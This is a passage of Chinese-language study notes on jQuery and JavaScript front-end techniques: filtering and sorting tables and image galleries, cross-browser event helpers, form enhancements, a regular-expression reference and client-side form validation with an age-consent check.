row.$element.show();
} else {
row.$element.hide();
}
});
}
function init() { // 最先執行
$('#slider').noUiSlider({ // 建立滑動軸
range: [0, 150], start: [65, 90], handles: 2, margin: 20, connect: true,
serialization: {to: [$min, $max],resolution: 1}
}).change(function() { update($min.val(), $max.val()); }); // 每次滑動軸改變時呼叫update()
makeRows(); // 建立資料列和row陣列
appendRows(); // 將資料加入至表格
update($min.val(), $max.val()); // 變更表格以顯示符合條件之資料
}
$(init); // DOM載入完成呼叫init()
});
```
### 影像畫廊過濾篩選
#### 標籤切換
* 標籤註記影像
```htmlembedded=
<div id="buttons"></div>
<div id="gallery">
<img src="img/p1.jpg" data-tags="Animators, Illustrators" alt="Rabbit" />
<img src="img/p2.jpg" data-tags="Photographers, Filmmakers" alt="Sea" />
<img src="img/p3.jpg" data-tags="Photographers, Filmmakers" alt="Deer" />
<img src="img/p4.jpg" data-tags="Designers" alt="New York Street Map" />
<img src="img/p5.jpg" data-tags="Photographers, Filmmakers" alt="Trumpet Player" />
<img src="img/p6.jpg" data-tags="Designers, Illustrators" alt="Typographic Study" />
<img src="img/p7.jpg" data-tags="Photographers" alt="Bicycle Japan" />
<img src="img/p8.jpg" data-tags="Designers" alt="Aqua Logo" />
<img src="img/p9.jpg" data-tags="Animators, Illustrators" alt="Ghost" />
</div>
```
* 處理標籤並篩選
```javascript=
(function() {
var $imgs = $('#gallery img'); // 儲存所有影像圖片
var $buttons = $('#buttons');
var tagged = {}; // 建立標籤註記物件
$imgs.each(function() {
var img = this;
var tags = $(this).data('tags'); // 取得元件的標籤
if (tags) { // 如果元件有標籤
tags.split(',').forEach(function(tagName) {
if (tagged[tagName] == null) {
tagged[tagName] = [];
}
tagged[tagName].push(img);
});
}
});
$('<button/>', { // 建立空按鈕元件
text: '全部',
class: 'active',
click: function() {
$(this)
.addClass('active')
.siblings()
.removeClass('active'); // 移除兄弟元件的active
$imgs.show(); // 顯示全部影像
}
}).appendTo($buttons); // 加入至按鈕組
$.each(tagged, function(tagName) { // 巡訪每個標籤名稱
$('<button/>', {
text: tagName + ' (' + tagged[tagName].length + ')',
click: function() {
$(this)
.addClass('active')
.siblings()
.removeClass('active');
$imgs
.hide() // 先全部隱藏
.filter(tagged[tagName]) //找出標籤圖片
.show();
}
}).appendTo($buttons);
});
}());
```
#### 文字搜尋
* 設定影像ALT文字
```htmlembedded=
<div id="buttons"></div>
<div id="gallery">
<img src="img/p1.jpg" data-tags="Animators, Illustrators" alt="Rabbit" />
<img src="img/p2.jpg" data-tags="Photographers, Filmmakers" alt="Sea" />
<img src="img/p3.jpg" data-tags="Photographers, Filmmakers" alt="Deer" />
<img src="img/p4.jpg" data-tags="Designers" alt="New York Street Map" />
<img src="img/p5.jpg" data-tags="Photographers, Filmmakers" alt="Trumpet Player" />
<img src="img/p6.jpg" data-tags="Designers, Illustrators" alt="Typographic Study" />
<img src="img/p7.jpg" data-tags="Photographers" alt="Bicycle Japan" />
<img src="img/p8.jpg" data-tags="Designers" alt="Aqua Logo" />
<img src="img/p9.jpg" data-tags="Animators, Illustrators" alt="Ghost" />
</div>
```
* 搜尋文字篩選
```javascript=
(function() {
var $imgs = $('#gallery img');
var $search = $('#filter-search');
var cache = [];
$imgs.each(function() {
cache.push({ // 將圖片物件加入陣列中
element: this,
text: this.alt.trim().toLowerCase()
});
});
function filter() {
var query = this.value.trim().toLowerCase(); // 取得查詢文字
cache.forEach(function(img) {
var index = 0; // 索引值
if (query) {
index = img.text.indexOf(query);
}
img.element.style.display = index === -1 ? 'none' : ''; // 顯示 / 隱藏
});
}
if ('oninput' in $search[0]) { // 檢查瀏覽器可支援input事件 IE9+
$search.on('input', filter); // 使用input呼叫filter
} else {
$search.on('keyup', filter); // 使用input呼叫filter
}
}());
```
### 排序 .sort() 方法
#### 一般排序
```javascript=
var names = ['Alice', 'Ann', 'Andrew', 'Abe'];
names.sort(); // ['Abe', 'Alice', 'Andrew', 'Ann']
var prices = [1, 2, 125, 19, 14, 156];
prices.sort(); // [1, 125, 14, 156, 19, 2]
```
#### 資料比較函式 更改sort排序規則
| a-b值 | 說明 |
| -------- | -------- |
| <0 | a資料值需排在b資料值之前 |
| 0 | a資料值與b資料值相同順序 |
| >0 | a資料值需排在b資料值之後 |
* 陣列排序
```javascript=
var price = [1, 2, 125, 2, 19, 14];
price.sort(function(a, b){
return a - b; // a-b遞增(升冪)、b-a遞減(降冪)、0.5-Math.random()亂數
});
```
* 日期資料排序
```javascript=
var holidays = [
'2014-12-25',
'2014-01-01',
'2014-07-04',
'2014-11-28'
];
holidays.sort(function(a, b){
var dateA = new Date(a);
var dateB = new Date(b);
return dateA - dateB; // 遞增
// [
// '2014-01-01',
// '2014-07-04',
// '2014-11-28',
// '2014-12-25'
// ]
});
```
* 表格資料排序
```htmlembedded=
<table class="sortable">
<thead>
<tr>
<th data-sort="name">Genre</th>
<th data-sort="name">Title</th>
<th data-sort="duration">Duration</th>
<th data-sort="date">Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>Animation</td>
<td>Wildfood</td>
<td>3:47</td>
<td>2014-07-16</td>
</tr>
<tr>
<td>Film</td>
<td>The Deer</td>
<td>6:24</td>
<td>2014-02-28</td>
</tr>
<tr>
<td>Animation</td>
<td>The Ghost</td>
<td>11:40</td>
<td>2012-04-10</td>
</tr>
<tr>
<td>Film</td>
<td>Animals</td>
<td>6:40</td>
<td>2005-12-21</td>
</tr>
<tr>
<td>Animation</td>
<td>Wagons</td>
<td>21:40</td>
<td>2007-04-12</td>
</tr>
</tbody>
</table>
```
```javascript=
// 資料比較函式
var compare = {
name: function(a, b) { // name方法
a = a.replace(/^the /i, ''); // 自參數的起始處移除the字串
b = b.replace(/^the /i, ''); // 自參數的起始處移除the字串
if (a < b) {
return -1;
} else {
return a > b ? 1 : 0;
}
},
duration: function(a, b) { // duration方法
a = a.split(':'); // 以冒號將資料分離
b = b.split(':'); // 以冒號將資料分離
a = Number(a[0]) * 60 + Number(a[1]); // 將時間轉換為秒
b = Number(b[0]) * 60 + Number(b[1]); // 將時間轉換為秒
return a - b;
},
date: function(a, b) { // date方法
a = new Date(a);
b = new Date(b);
return a - b;
}
};
// 表格資料排序
$('.sortable').each(function() {
var $table = $(this);
var $tbody = $table.find('tbody'); // 表格的內容
var $controls = $table.find('th'); // 表格的標題
var rows = $tbody.find('tr').toArray(); // 所有資料列內容的陣列
$controls.on('click', function() { // 使用者點標題時
var $header = $(this);
var order = $header.data('sort'); // 取得data-sort值,排序方法
var column;
// 如果該資料項目已有下方兩種屬性值,則以相反方式顯示內容(切換遞增遞減)
if ($header.is('.ascending') || $header.is('.descending')) {
$header.toggleClass('ascending descending'); // 調整至相反屬性值
$tbody.append(rows.reverse()); // 反轉陣列內容
} else {
$header.addClass('ascending'); // 設定遞增屬性值
$header.siblings().removeClass('ascending descending'); // 移除其他標題的屬性值
if (compare.hasOwnProperty(order)) { // 若compare物件具備方法
column = $controls.index(this); // 取得資料行索引
rows.sort(function(a, b) {
a = $(a).find('td').eq(column).text(); // 取得a資料列中該資料行的內容值
b = $(b).find('td').eq(column).text(); // 取得b資料列中該資料行的內容值
return compare[order](a, b); // 把排序方法和兩資料值給予資料比較函式
});
$tbody.append(rows);
}
}
});
});
```
## 表單強化、驗證
### 輔助函式(helper function)utilities.js
> 解決跨瀏覽器與向下相容問題
```javascript=
// 輔助函式 - 事件監聽器 方法
function addEvent (el, event, callback) {
if ('addEventListener' in el) { // 如果事件監聽器可運行
el.addEventListener(event, callback, false); // 使用它
} else {
el['e' + event + callback] = callback; // 將回呼函式加入至el元件
el[event + callback] = function () { // 加入第二種方法
el['e' + event + callback](window.event); // 使用它呼叫prev函式
};
el.attachEvent('on' + event, el[event + callback]);
}
}
// 輔助函式 - 移除事件監聽器 方法
function removeEvent(el, event, callback) {
if ('removeEventListener' in el) {
el.removeEventListener(event, callback, false);
} else {
el.detachEvent('on' + event, el[event + callback]);
el[event + callback] = null;
el['e' + event + callback] = null;
}
}
```
### 範例
#### 送出表單
```htmlembedded=
<form id="login" action="/login/" method="post">
<div class="one-third column">
<img src="img/logo.png" alt="logo" id="logo" />
</div>
<div class="two-thirds column" id="main">
<fieldset>
<legend>登入</legend>
<label for="username">帳號:</label>
<input type="text" id="username" name="username" />
<label for="pwd">密碼:</label>
<input type="password" id="pwd" name="pwd" />
<input type="submit" value="Login" />
</fieldset>
</div>
</form>
```
```javascript=
(function(){
var form = document.getElementById('login');
addEvent(form, 'submit', function(e) { // 當使用者送出表單
e.preventDefault();
var elements = this.elements;
var username = elements.username.value;
var msg = 'Welcome ' + username;
document.getElementById('main').textContent = msg;
});
}());
```
#### 顯示密碼
* 點顯示密碼,則將輸入的密碼變成明碼
```htmlembedded=
<fieldset>
<legend>登入</legend>
<label for="username">帳號:</label>
<input type="text" id="username" name="username" />
<label for="pwd">密碼:</label>
<input type="password" id="pwd" name="pwd" /><br>
<input type="checkbox" id="showPwd">
<label for="showPwd">顯示密碼</label>
<input type="submit" value="Login" />
</fieldset>
```
```javascript=
(function() {
var pwd = document.getElementById('pwd');
var chk = document.getElementById('showPwd'); // 多選核取框
addEvent(chk, 'change', function(e) {
var target = e.target || e.srcElement;
try {
if (target.checked) { // 如果有被選取
pwd.type = 'text';
} else {
pwd.type = 'password';
}
} catch(error) {
alert('無法切換類型');
}
});
}());
```
#### 使送出按鈕無效
* 沒輸入內容時無法點送出
* 送出後不可再點送出
```htmlembedded=
<label for="pwd">設定新密碼:</label>
<input type="password" id="pwd" />
<input type="submit" id="submit" value="送出" />
```
```javascript=
(function(){
var form = document.getElementById('newPwd');
var password = document.getElementById('pwd');
var submit = document.getElementById('submit');
var submitted = false; // 表單是否已被送出
submit.disabled = true; // 使表單送出按鈕無效
submit.className = 'disabled'; // 變更表單送出鈕類別樣式
console.log(submit.className);
// 輸入密碼時 檢測表單送出按鈕是否啟用
addEvent(password, 'input', function(e) {
var target = e.target || e.srcElement;
submit.disabled = submitted || !target.value;
submit.className = (submitted || !target.value) ? 'disabled' : 'enabled'; // 如果表單已經被送出或是密碼輸入框沒有值,設定CSS樣式為disabled
});
// 當表單送出時 使表單失效,讓表單無法再次被發送
addEvent(form, 'submit', function(e) {
if (submit.disabled || submitted) { // 如果送出按鈕失效或是已送出
e.preventDefault();
return; // 停止函式
}
submit.disabled = true; // 按鈕失效
submitted = true; // 標記已送出
submit.className = 'disabled'; // 更新樣式
e.preventDefault();
alert('Password is ' + password.value); // 顯示已發送資訊
});
}());
```
#### 全選核取框
* 點all全部打勾
* 當其中有取消打勾,則全選按鈕也取消打勾
```htmlembedded=
<label><input type="checkbox" value="all" id="all">全選</label>
<label><input type="checkbox" name="genre" value="animation">Animation</label>
<label><input type="checkbox" name="genre" value="docs">Documentary</label>
<label><input type="checkbox" name="genre" value="shorts">Shorts</label>
```
```javascript=
(function() {
var form = document.getElementById('interests');
var elements = form.elements; // 所有表單元件
var options = elements.genre; // 陣列 多選核取框(除了all)
var all = document.getElementById('all');
// 全選按鈕 勾/不勾
function updateAll() {
for (var i = 0; i < options.length; i++) {
options[i].checked = all.checked; // all選取狀態影響其他全部
}
}
addEvent(all, 'change', updateAll);
// 如果有選項取消勾,就把all也取消勾
function clearAllOption(e) {
var target = e.target || e.srcElement;
if (!target.checked) {
all.checked = false;
}
}
for (var i = 0; i < options.length; i++) {
addEvent(options[i], 'change', clearAllOption);
}
}());
```
#### 單選按鈕組
* 點other時顯示文字框
* 選其他選項時隱藏並清空文字框
```htmlembedded=
<form id="how-heard" action="/heard" method="post">
<div class="one-third column">
<img src="img/logo.png" alt="logo" id="logo" />
</div>
<div class="two-thirds column" id="main">
<fieldset>
<legend>你從哪裡得知我們?</legend>
<input type="radio" name="heard" value="search" id="search" />
<label for="search">搜尋引擎</label><br>
<input type="radio" name="heard" value="print" id="print" />
<label for="print">報章雜誌</label><br>
<input type="radio" name="heard" value="other" id="other" />
<label for="other">其他</label><br>
<input type="text" name="other-input" id="other-text" />
<input id="submit" type="submit" value="送出" />
</fieldset>
</div>
</form>
```
```javascript=
(function() {
var form, options, other, otherText, hide;
form = document.getElementById('how-heard');
options = form.elements.heard; // 所有單選按鈕
other = document.getElementById('other'); // other這個單選按鈕
otherText = document.getElementById('other-text'); // other的文字框
otherText.className = 'hide'; // 預設隱藏
for (var i = [0]; i < options.length; i++) {
addEvent(options[i], 'click', radioChanged);
}
function radioChanged() {
hide = other.checked ? '' : 'hide'; // 檢查other是否有被選取
otherText.className = hide;
if (hide) {
otherText.value = '';
}
}
}());
```
#### 下拉式選單
* 第一個下拉選單選完會改變第二個下拉選單的內容(像是縣市、區,兩個相關下拉選單)
```htmlembedded=
<label for="equipmentType">類型</label>
<select id="equipmentType" name="equipmentType">
<option value="choose">請選擇類型</option>
<option value="cameras">相機</option>
<option value="projectors">投影機</option>
</select><br>
<label for="model">型號</label>
<select id="model" name="model">
<option>請選擇型號</option>
</select>
<input id="submit" type="submit" value="送出" />
```
```javascript=
(function() {
var type = document.getElementById('equipmentType');
var model = document.getElementById('model');
// 用物件去存
var cameras = {
bolex: 'Bolex Paillard H8',
yashica: 'Yashica 30',
pathescape: 'Pathescape Super-8 Relax',
canon: 'Canon 512'
};
var projectors = {
kodak: 'Kodak Instamatic M55',
bolex: 'Bolex Sound 715',
eumig: 'Eumig Mark S',
sankyo: 'Sankyo Dualux'
};
// 當類型被改變
addEvent(type, 'change', function() {
if (this.value === 'choose') { // 如果沒選擇任何選項
model.innerHTML = '<option>請選擇類型</option>';
return;
}
var models = getModels(this.value); // 獲得對應物件
var options = '<option>請選擇型號</option>';
var key;
for (key in models) {
options += '<option value="' + key + '">' + models[key] + '</option>';
}
model.innerHTML = options;
});
// 判斷並回傳物件
function getModels(equipmentType) {
if (equipmentType === 'cameras') {
return cameras;
} else if (equipmentType === 'projectors') {
return projectors;
}
}
}());
```
#### 字元計數器
```htmlembedded=
<label for="bio">自傳 (最多140字)</label>
<textarea name="bio" id="bio" rows="5" cols="30"></textarea>
<span id="bio-count" class="hide"></span>
```
```javascript=
(function () {
var bio = document.getElementById('bio'),
bioCount = document.getElementById('bio-count'); // 字元計數文字
addEvent(bio, 'focus', updateCounter);
addEvent(bio, 'input', updateCounter);
addEvent(bio, 'blur', function () { // 當離開文字框時
if (bio.value.length <= 140) {
bioCount.className = 'hide'; // 隱藏計數文字
}
});
function updateCounter(e) {
var target = e.target || e.srcElement; // 取得目標元件
var count = 140 - target.value.length; // 還能輸入字元數
if (count < 0) {
bioCount.className = 'error';
} else if (count <= 15) {
bioCount.className = 'warn';
} else {
bioCount.className = 'good';
}
var charMsg = '<b>' + count + '</b>' + ' characters';
bioCount.innerHTML = charMsg;
}
}());
```
### 正規表示式(正則表示式)
> 搜尋字元組成樣式,也可以將符合條件的字元組合,以新的字元內容取代。
| 特定字元 | 說明 | 等效的正規表示式 |
| -------- | -------- | -------- |
| \d | 數字 | [0-9] |
| \D | 非數字 | [^0-9] |
| \w | 數字、字母、底線 | [a-zA-Z0-9_] |
| \W | 非 \w | [^a-zA-Z0-9_] |
| \s | 空白字元 | [ \r\t\n\f] |
| \S | 非空白字元 | [^ \r\t\n\f] |
| 字元 | 說明 | 範例 |
| -------- | -------- | -------- |
| \ | 避開特殊字元 | /A\*/ 可用於比對 “A*”,其中 * 是一個特殊字元,為避開其特殊意義,所以必須加上 “\” |
| ^ | 比對輸入列的啟始位置 | /^A/ 可比對 “Abcd” 中的 “A”,但不可比對 “aAb” |
| $ | 比對輸入列的結束位置 | /A$/ 可比對 “bcdA” 中的 “A”,但不可比對 “aAb” |
| * | 比對前一個字元零次或更多次 | /bo*/ 可比對 “Good boook” 中的 “booo”,亦可比對 “Good bk” 中的 “b” |
| + | 比對前一個字元一次或更多次,等效於 {1,} | /a+/ 可比對 “caaandy” 中的 “aaa”,但不可比對 “cndy” |
| ? | 比對前一個字元零次或一次 | /e?l/ 可比對 “angel” 中的 “el”,也可以比對 “angle” 中的 “l” |
| . | 比對任何一個字元(但換行符號不算) | /.n/ 可比對 “nay, an apple is on the tree” 中的 “an” 和 “on”,但不可比對 “nay” |
| (x) | 比對 x 並將符合的部分存入一個變數 | /(a*) and (b*)/ 可比對 “aaa and bb” 中的 “aaa” 和 “bb”,並將這兩個比對得到的字串設定至變數 RegExp.$1 和 RegExp.$2。 |
| xy | 比對 x 或 y | /a*b*/g 可比對 “aaa and bb” 中的 “aaa” 和 “bb” |
| {n} | 比對前一個字元 n 次,n 為一個正整數 | /a{3}/ 可比對 “lllaaalaa” 其中的 “aaa”,但不可比對 “aa” |
| {n,} | 比對前一個字元至少 n 次,n 為一個正整數 | /a{3,}/ 可比對 “aa aaa aaaa” 其中的 “aaa” 及 “aaaa”,但不可比對 “aa” |
| {n,m} | 比對前一個字元至少 n 次,至多 m 次,m、n 均為正整數 | /a{3,4}/ 可比對 “aa aaa aaaa aaaaa” 其中的 “aaa” 及 “aaaa”,但不可比對 “aa” 及 “aaaaa” |
| [xyz] | 比對中括弧內的任一個字元 | /[ecm]/ 可比對 “welcome” 中的 “e” 或 “c” 或 “m” |
| [^xyz] | 比對不在中括弧內出現的任一個字元 | /[^ecm]/ 可比對 “welcome” 中的 “w”、”l”、”o”,可見出其與 [xyz] 功能相反。(同時請注意 /^/ 與 [^] 之間功能的不同。) |
| [\b] | 比對退位字元(Backspace character) | 可以比對一個 backspace ,也請注意 [\b] 與 \b 之間的差別 |
| \b | 比對英文字的邊界,例如空格 | 例如 /\bn\w/ 可以比對 “noonday” 中的 ‘no’ ; /\wy\b/ 可比對 “possibly yesterday.” 中的 ‘ly’ |
| \B | 比對非「英文字的邊界」 | 例如, /\w\Bn/ 可以比對 “noonday” 中的 ‘on’ , 另外 /y\B\w/ 可以比對 “possibly yesterday.” 中的 ‘ye’ |
| \cX | 比對控制字元(Control character),其中 X 是一個控制字元 | /\cM/ 可以比對 一個字串中的 control-M |
| \d | 比對任一個數字,等效於 [0-9] | /[\d]/ 可比對 由 “0” 至 “9” 的任一數字 但其餘如字母等就不可比對 |
| \D | 比對任一個非數字,等效於 [^0-9] | /[\D]/ 可比對 “w” “a”… 但不可比對如 “7” “1” 等數字 |
| \f | 比對 form-feed | 若是在文字中有發生 “換頁” 的行為 則可以比對成功 |
| \n | 比對換行符號 | 若是在文字中有發生 “換行” 的行為 則可以比對成功 |
| \r | 比對 carriage return | |
| \s | 比對任一個空白字元(White space character),等效於 [ \f\n\r\t\v] | /\s\w*/ 可比對 “A b” 中的 “b” |
| \S | 比對任一個非空白字元,等效於 [^ \f\n\r\t\v] | /\S/\w* 可比對 “A b” 中的 “A” |
| \t | 比對定位字元(Tab) | |
| \v | 比對垂直定位字元(Vertical tab) | |
| \w | 比對數字字母字元(Alphanumerical characters)或底線字母(”_”),等效於 [A-Za-z0-9_] | /\w/ 可比對 “.A _!9” 中的 “A”、”_”、”9″。 |
| \W | 比對非「數字字母字元或底線字母」,等效於 [^A-Za-z0-9_] | /\W/ 可比對 “.A _!9” 中的 “.”、” “、”!”,可見其功能與 /\w/ 恰好相反。 |
| \ooctal | 比對八進位,其中octal是八進位數目 | /\oocetal123/ 可比對 與 八進位的ASCII中 “123” 所相對應的字元值。 |
| \xhex | 比對十六進位,其中hex是十六進位數目 | /\xhex38/ 可比對 與 16進位的ASCII中 “38” 所相對應的字元。 |
| 正規表示式 | 說明 |
| -------- | -------- |
| /a?/ | 零或一個 a(若要比對? 字元,請使用 \?) |
| /a+/ | 一或多個 a(若要比對+ 字元,請使用 \+) |
| /a*/ | 零或多個 a(若要比對* 字元,請使用 \*) |
| /a{4}/ | 四個 a |
| /a{5,10}/ | 五至十個 a |
| /a{5,}/ | 至少五個 a |
| /a{,3}/ | 至多三個 a |
| /a.{5}b/ | a 和 b中間夾五個(非換行)字元 |
| /a/ | 含字母 “a” 的字串,例如 “ab”, “bac”, “cba” |
| /a./ | 含字母 “a” 以及其後任一個字元的字串,例如 “ab”, “bac”(若要比對.,請使用 \.) |
| /^xy/ | 以 “xy” 開始的字串,例如 “xyz”, “xyab”(若要比對 ^,請使用 \^) |
| /xy$/ | 以 “xy” 結尾的字串,例如 “axy”, “abxy”以 “xy” 結尾的字串,例如 “axy”, “abxy” (若要比對 $,請使用 \$) |
| [13579] | 包含 “1” 或 “3” 或 “5” 或 “7” 或 “9” 的字串,例如:”a3b”, “1xy” |
| [0-9] | 含數字之字串 |
| [a-z0-9] | 含數字或小寫字母之字串 |
| [a-zA-Z0-9] | 含數字或字母之字串 |
| b[aeiou]t | “bat”, “bet”, “bit”, “bot”, “but” |
| [^0-9] | 不含數字之字串(若要比對 ^,請使用 \^) |
| [^aeiouAEIOU] | 不含母音之字串(若要比對 ^,請使用 \^) |
| [^\^] | 不含 “^” 之字串,例如 “xyz”, “abc” |
#### 常用的正規表示式
```
數值
/^\d+$/
一行文字以空白字元起始
^[ \s]+
信箱
/[^@]+@[^@]+/
十六進位顏色值
/^#[a-fA-F0-9]{6}$/
!"#$%&\'()*+,-./@:;<=>[\\]^_`{|}~
日期 yy-mm-dd
/^(\d{2}\/\d{2}\/\d{4})|(\d{4}-\d{2}-\d{2})$/
```
### HTML5 元件與屬性
#### 元件
* 搜尋
```htmlembedded=
<input type="search" placeholder="Search..." autofocus>
```
* Email、URL、phone
```htmlembedded=
<input type="email">
<input type="url">
<input type="telephone">
```
* 數字(小輸入框、增減箭頭)
```htmlembedded=
<input type="number" min="0" max="10" step="2" value="6">
```
* 範圍輸入框(滑軌)
```htmlembedded=
<input type="range" min="0" max="10" step="2" value="6">
```
* 色彩選擇器
```htmlembedded=
<input type="color">
```
* 日期選擇器
```htmlembedded=
<input type="date">
<input type="month">
<input type="week">
<input type="time">
<input type="datetime">
```
#### 屬性
| 屬性 | 說明 |
| -------- | -------- |
| autofocus | 當頁面載入時,聚焦此元件 |
| placeholder | 輸入提示訊息 |
| required | 檢查欄位是否擁有值(必填) |
| min | 最小允許值 |
| max | 最大允許值 |
| step | 遞增遞減的數值區間 |
| value | 元件載入畫面時的預設數值 |
| autocomplete | 顯示輸入紀錄清單(信用卡號碼/敏感資訊會隱藏),預設為啟用 |
| pattern | 允許指定一個正規表示式驗證輸入值 |
| novalidate | 用於form元件,關閉HTML5內鍵的表單驗證功能 |
#### placeholder向下相容
* 如果瀏覽器不相容placeholder,就自己刻一個
```htmlembedded=
<label for="username">帳號</label>
<input type="text" id="username" name="username" placeholder="username" />
<label for="email">信箱</label>
<input type="email" id="email" name="email" placeholder="you@yourdomain.com" />
<label for="dob">生日</label>
<input type="text" id="dob" name="dob" placeholder="yyyy-mm-dd" />
<input type="submit" value="註冊" />
```
```javascript=
(function() {
// 檢查是否支援placeholder,如果支援就不需執行下方指令
if ('placeholder' in document.createElement('input')) {
return;
}
var length = document.forms.length; // 取得表單數量
for (var i = 0; i < length; i++ ) { // 巡訪每個表單
showPlaceholder(document.forms[i].elements);
}
function showPlaceholder(elements) {
for (var i = 0, l = elements.length; i < l; i++) { // 巡訪每個元件
var el = elements[i];
if (!el.placeholder) { // 如果沒有placeholder屬性
continue; // 巡訪下個元件
} // 否則
el.style.color = '#666666';
el.value = el.placeholder;
addEvent(el, 'focus', function () { // 當元件取得焦點
if (this.value === this.placeholder) {
this.value = '';
this.style.color = '#000000';
}
});
addEvent(el, 'blur', function () { // 當元件失去焦點
if (this.value === '') {
this.value = this.placeholder;
this.style.color = '#666666';
}
});
}
}
}());
```
#### 綜合應用 - 表單驗證(JS驗證,非HTML5驗證)
* 使用JS來自訂驗證,確保所有瀏覽器都一致
```htmlembedded=
<form method="post" action="/register" name="register">
<div class="one-third column">
<h2>設定</h2>
<div class="name">
<label for="name" class="required">姓名</label>
<input type="text" placeholder="Enter your name" name="name" id="name" required title="Please enter your name">
</div>
<div class="email">
<label for="email" class="required">信箱</label>
<input type="email" placeholder="you@example.com" name="email" id="email" required>
</div>
<div class="password">
<label for="password" class="required">密碼</label>
<input type="password" name="password" id="password" required>
</div>
<div class="password">
<label for="conf-password" class="required">確認密碼</label>
<input type="password" name="conf-password" id="conf-password" required>
</div>
</div>
<div class="one-third column">
<h2>個人資料</h2>
<div class="birthday">
<label for="birthday" class="required">生日</label>
<input type="date" name="birthday" id="birthday" placeholder="yyyy-mm-dd" required>
<div id="consent-container" class="hide">
<label for="parents-consent">家長允許</label>
<input type="checkbox" name="parents-consent" id="parents-consent">
</div>
</div>
<div class="bio">
<label for="bio">自我介紹(最多140字元):</label>
<textarea name="bio" id="bio" rows="5" cols="30"></textarea>
<span id="bio-count" class="hide">140</span>
</div>
<div class="register"><input type="submit" value="註冊"></div>
</div>
</form>
```
```javascript=
(function () {
document.forms.register.noValidate = true; // 關閉HTML5的表單驗證
// 當表單被送出
$('form').on('submit', function (e) {
var elements = this.elements;
var valid = {}; // 自訂驗證物件
var isValid; // 檢測表單控制元件
var isFormValid; // 檢測整個表單
// 執行通用驗證(2個)
for (var i = 0, l = elements.length; i < l; i++) {
isValid = validateRequired(elements[i]) && validateTypes(elements[i]);
if (!isValid) { // 如果沒通過這兩種驗證
showErrorMessage(elements[i]);
} else {
removeErrorMessage(elements[i]);
}
valid[elements[i].id] = isValid; // 將檢查結果放入valid
}
// 執行自訂驗證(3個)
if (!validateBio()) {
showErrorMessage(document.getElementById('bio'));
valid.bio = false;
} else {
removeErrorMessage(document.getElementById('bio'));
}
if (!validatePassword()) {
showErrorMessage(document.getElementById('password'));
valid.password = false;
} else {
removeErrorMessage(document.getElementById('password'));
}
if (!validateParentsConsent()) {
showErrorMessage(document.getElementById('parents-consent'));
valid.parentsConsent = false;
} else {
removeErrorMessage(document.getElementById('parents-consent'));
}
// 是否通過全部檢測,可否送出表單
for (var field in valid) {
if (!valid[field]) {
isFormValid = false;
break;
}
isFormValid = true;
}
if (!isFormValid) { // 如果未通過,不讓表單送出
e.preventDefault();
}
});
// 通用驗證(1/2) - 必填元件
function validateRequired(el) {
if (isRequired(el)) { // 此元件是否設定為必填
var valid = !isEmpty(el); // 元件是否不是空值
if (!valid) { // 如果是空值
setErrorMessage(el, '此欄必填');
}
return valid;
}
return true;
}
function isRequired(el) { // 檢查required屬性(必填)是否存在
return ((typeof el.required === 'boolean') && el.required) || // 新版瀏覽器寫法 HTML5
(typeof el.required === 'string'); // 舊版瀏覽器寫法
}
function isEmpty(el) { //檢查是否有內容值
return !el.value || el.value === el.placeholder; // 前面新瀏覽器,後面舊瀏覽器
}
// 通用驗證(2/2) - 不同類型的輸入框
function validateTypes(el) {
if (!el.value) return true; // 如果元件沒有值,直接回傳通過
var type = $(el).data('type') || el.getAttribute('type'); // 自data()擷取值 或 擷取輸入框類型
if (typeof validateType[type] === 'function') { // 類型是否為vaildate物件的方法
return validateType[type](el); // 如果是,進一步檢測內容是否有效
} else {
return true; // 如果不是,一樣回傳通過,因為無法被測試
}
}
var validateType = {
email: function (el) {
var valid = /[^@]+@[^@]+/.test(el.value);
if (!valid) {
setErrorMessage(el, '請輸入有效的信箱');
}
return valid;
},
number: function (el) {
var valid = /^\d+$/.test(el.value);
if (!valid) {
setErrorMessage(el, '請輸入有效的數字');
}
return valid;
},
date: function (el) {
var valid = /^(\d{2}\/\d{2}\/\d{4})|(\d{4}-\d{2}-\d{2})$/.test(el.value);
if (!valid) {
setErrorMessage(el, '請輸入有效的日期');
}
return valid;
}
};
// 自訂驗證(1/3) - 自介字數驗證
function validateBio() {
var bio = document.getElementById('bio');
var valid = bio.value.length <= 140;
if (!valid) {
setErrorMessage(bio, '請確保不要超過140字元');
}
return valid;
}
// 自訂驗證(2/3) - 密碼驗證
function validatePassword() {
var password = document.getElementById('password');
var valid = password.value.length >= 8;
if (!valid) {
setErrorMessage(password, '請確保密碼在8碼以上');
}
return valid;
}
// 自訂驗證(3/3) - 家長同意驗證
function validateParentsConsent() {
var parentsConsent = document.getElementById('parents-consent');
var consentContainer = document.getElementById('consent-container');
var valid = true;
if (consentContainer.className.indexOf('hide') === -1) { // 如果多選框顯示於頁面
valid = parentsConsent.checked;
if (!valid) {
setErrorMessage(parentsConsent, '您必須要有家長同意');
}
}
return valid;
}
// 錯誤訊息
function setErrorMessage(el, message) {
$(el).data('errorMessage', message); // 將錯誤訊息存在目標元件中
}
function getErrorMessage(el) {
return $(el).data('errorMessage') || el.title; // 取得錯誤訊息內容
}
function showErrorMessage(el) {
var $el = $(el);
var errorContainer = $el.siblings('.error.message'); // 是否已有錯誤發生
if (!errorContainer.length) { // 如果沒有發現錯誤
errorContainer = $('<span class="error message"></span>').insertAfter($el); // 建立一個span存錯誤,並把span放在元件後方
}
errorContainer.text(getErrorMessage(el)); // 放入錯誤訊息內容
}
function removeErrorMessage(el) {
var errorContainer = $(el).siblings('.error.message');
errorContainer.remove();
}
}());
```
#### 綜合應用 - 年齡確認
```javascript=
(function () {
var $birth = $('#birthday'); // 生日輸入框
var $parentsConsent = $('#parents-consent'); // 父母同意核取框
var $consentContainer = $('#consent-container'); // 核取框容器
// 使用jQ UI 建立日期選擇器
$birth.prop('type', 'text').data('type', 'date').datepicker({
dateFormat: 'yy-mm-dd'
});
// 當生日輸入框失去焦點
$birth.on('blur change', checkDate);
function checkDate() {
var dob = this.value.split('-'); // 將日期字串轉換為陣列
toggleParentsConsent(new Date(dob[0], dob[1] - 1, dob[2])); // 轉成date格式
}
function toggleParentsConsent(date) {
if (isNaN(date)) return; // 如果日期無效,停止
var now = new Date();
if ((now - date) < (1000 * 60 * 60 * 24 * 365 * 13)) { // 如果年紀小於13歲
$consentContainer.removeClass('hide'); // 顯示家長同意核取框
$parentsConsent.focus(); // 聚焦核取框
} else {
$consentContainer.addClass('hide');
$parentsConsent.prop('checked', false);
}
}
}());
```
#### 綜合應用 - 再次輸入密碼檢測
```javascript=
(function () {
var password = document.getElementById('password'); // 密碼輸入框
